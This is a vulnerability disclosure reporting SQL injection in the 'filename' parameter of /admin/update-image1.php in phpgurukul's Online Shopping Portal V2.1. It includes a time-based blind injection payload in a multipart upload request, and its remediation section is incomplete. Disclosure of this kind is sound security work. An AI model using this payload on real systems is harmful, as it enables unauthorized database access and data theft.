## phpgurukul Online Shopping Portal Project V2.1 /admin/update-image1.php SQL injection

### NAME OF AFFECTED PRODUCT(S)

- Online Shopping Portal Project

### Vendor Homepage

- <https://phpgurukul.com/shopping-portal-free-download/>

### AFFECTED AND/OR FIXED VERSION(S)

### submitter

- F1rstb100d

### Vulnerable File

- /admin/update-image1.php

## VERSION(S)

---

- V2.1

## Software Link

---

- [https://phpgurukul.com/?sdm\\_process\\_download=1&download\\_id=7393](https://phpgurukul.com/?sdm_process_download=1&download_id=7393)

## PROBLEM TYPE

---

### Vulnerability Type

---

- SQL injection

### Root Cause

---

- A SQL injection vulnerability was identified within the "/admin/update-image1.php" file of the "Online Shopping Portal Project" project. The root cause lies in the fact that attackers can inject malicious code via the parameter "filename". This input is then directly utilized in SQL queries without undergoing proper sanitization or validation processes. As a result, attackers are able to fabricate input values, manipulate SQL queries, and execute unauthorized operations.

### Impact

---

- Exploiting this SQL injection vulnerability allows attackers to gain unauthorized access to the database, cause sensitive data leakage, tamper with data, gain complete control over the system, and even disrupt services. This poses a severe threat to both the security of the system and the continuity of business operations.

## DESCRIPTION

---

- During the security assessment of "Online Shopping Portal Project", I detected a critical SQL injection vulnerability in the "/admin/update-image1.php" file. This vulnerability is attributed to the insufficient validation of user input for the "filename" parameter. This inadequacy enables attackers to inject malicious SQL queries. Consequently, attackers can access the database without proper authorization, modify or delete data, and obtain sensitive information. Immediate corrective actions are essential to safeguard system security and uphold data integrity.

## Vulnerability details and POC

---

## Vulnerability location:

- "filename" parameter

## Payload:

```
Parameter: MULTIPART #1* ((custom) POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 RLIKE time-based blind
  Payload: -----geckoformboundaryc5cdfd9ca2ee54229f876c3a32689110
Content-Disposition: form-data; name="productName"

111
-----geckoformboundaryc5cdfd9ca2ee54229f876c3a32689110
Content-Disposition: form-data; name="productimage1";
filename="4de8a7b75cc40f55f9f021d6608b0d25.jpg" RLIKE SLEEP(5) AND 'IwIh'='IwIh'
Content-Type: image/jpeg

<?php phpinfo(); ?>
-----geckoformboundaryc5cdfd9ca2ee54229f876c3a32689110
Content-Disposition: form-data; name="submit"

-----geckoformboundaryc5cdfd9ca2ee54229f876c3a32689110--
```

## Vulnerability Request Packet

```

```

2. **Conduct input validation and filtering:**

Rigorously validate and filter user input data to guarantee that it conforms to the expected format. This helps in blocking malicious input.

3. **Minimize database user permissions:**

Ensure that the account used to connect to the database has only the minimum required permissions. Avoid using accounts with elevated privileges (such as 'root' or 'admin') for day - to - day operations.
